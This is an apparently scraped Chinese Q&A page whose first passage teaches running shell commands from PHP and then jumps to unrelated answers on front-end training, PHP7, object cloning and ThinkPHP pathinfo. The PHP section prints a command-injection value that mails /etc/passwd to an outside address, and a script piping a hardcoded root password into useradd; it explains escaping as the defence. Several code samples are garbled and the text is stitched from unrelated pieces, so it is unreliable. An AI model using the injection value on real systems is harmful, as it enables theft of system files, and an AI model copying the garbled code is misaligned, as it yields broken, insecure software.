$useradd = "useradd ";
$rootpasswd =
"verygood";
$user = "james";
$user_add = sprintf("%s "%s
%s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);
@pclose($fp);
?>

3)
用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)

这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:

复制代码
代码如下:

<?php
$res='/bin/ls -l';
echo '

'.$res.'
';
?>

这个脚本的输出就象:
hunte.gif

hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么?

要考虑两个问题:安全性和超时。

看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地
址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这
个文件。程序就象这样:

复制代码
代码如下:

<?php
system("mail $to <
procts.txt");
echo "我们的产品目录已经发送到你的信箱:$to";
?>

用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:

'--bla ; mail [email protected] < /etc/passwd ;'
那么这条命令最终变成:

'mail --bla ; mail [email protected] < /etc/passwd ; < procts.txt'

我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。

好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串
中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入
(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串
就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运
行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是
把命令的输出重定向到另外一个文件或流中,如:

复制代码
代码如下:

<?php

system("/usr/local/bin/order_proc > /tmp/null &");
?>

‘柒’ 零基础学习前端开发都必须掌握什么内容

前端前景是很不错的,像前端这样的专业还是一线城市比较好,师资力量跟得上、就业的薪资也是可观的,学习前端可以按照路线图的顺序,

0基础学习前端是没有问题的,关键是找到靠谱的前端培训机构,你可以深度了解机构的口碑情况,问问周围知道这家机构的人,除了口碑再了解机构的以下几方面:

1. 师资力量雄厚

要想有1+1>2的实际效果,很关键的一点是师资队伍,你接下来无论是找个工作还是工作中出任哪些的人物角色,都越来越爱你本身的技术专业前端技术性,也许的技术专业前端技术性则绝大多数来自你的技术专业前端教师,一个好的前端培训机构必须具备雄厚的师资力量。

2. 就业保障完善

实现1+1>2效果的关键在于能够为你提供良好的发展平台,即能够为你提供良好的就业保障,让学员能够学到实在实在的知识,并向前端学员提供一对一的就业指导,确保学员找到自己的心理工作。

3. 学费性价比高

一个好的前端培训机构肯定能给你带来1+1>2的效果,如果你在一个由专业的前端教师领导并由前端培训机构自己提供的平台上工作,你将获得比以往更多的投资。

希望你早日学有所成。

‘捌’ PHP7会毁了PHP吗

我觉得题主说的“毁掉”的意思可能是是毁掉PHP超低的入门门槛。感觉越写越像Java。然而不可避免的,要接受改变。在ES6刚出的时候也有很多人说ES6毁了JavaScript.原型继承的写法多么多么好。class写法多么多么糟。时间证明,ES6标准正在快速被实现。我相信,PHP正在越变越好
关于严格模式:
从目前来看我觉得新项目用PHP的话,还是开了严格模式比较好。因为7.1会加上JIT,性能会提升更多。不给返回值类型JIT不好做啊。对于新手来说,不开严格模式学习也不会有太大的问题。
总之,我觉得PHP7是个好事。我就等3号发布正式版升级了~话说什么时候能把那些语法整理一下啊,都二十年了,咱函数名调整一下吧。要不然就被黑一辈子了 T_T

‘玖’ PHP对象的浅复制与深复制的实例详解

PHP对象的浅复制与深复制的实例详解
最近在看原型模式时注意到这个问题~~PHP中对象
'='
与‘clone'的区别
实例代码:
//聚合类
class
ObjA
{
public
$num
=
0;
public
$objB;//包含的对象
function
__construct()
{
$this->objB
=
new
ObjB();
}
//只有实现了下面方法聚合类
才能实现深复制
/*function
__clone()
{
$this->objB
=
clone
$this->objB;
}*/
}
class
ObjB
{
public
$num2
=
0;
}
//原型对象
$objA
=
new
ObjA();
//复制对象(‘='复制引用)
$objA2
=
$objA;
$objA2->num
=
2;
//随着$objA2->num的变化
$objA->num也变化了
print_r($objA->num.'<br/>');//结果为2
print_r($objA2->num.'<br/>');//结果为2
//复制对象(‘clone'关键字克隆)
$objA3
=
clone
$objA;
$objA3->num
=
4;
//随着$objA3->num的变化
$objA->num没有变化
print_r($objA->num.'<br/>');//结果为2
print_r($objA3->num.'<br/>');//结果为4
//但是clone的对象(是聚合类)中包含其他对象时所包含的对象(objB)复制的是引用
$objA3->objB->num2
=
7;
print_r($objA3->objB->num2.'<br/>');//结果是7
print_r($objA->objB->num2.'<br/>');//结果是7</pre>
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‘拾’ thinkPHP中的pathinfo模式是如何实现的

PATH_INFO 是一个 CGI 1.1 环境变量
pathinfo模式就是将路径中的每一节对应于预先设定的变量
即以位置来决定含义,有如下标数组
$_SERVER['PATH_INFO']这个是原型

然后是正则表达式或者字符串函数获取 参数

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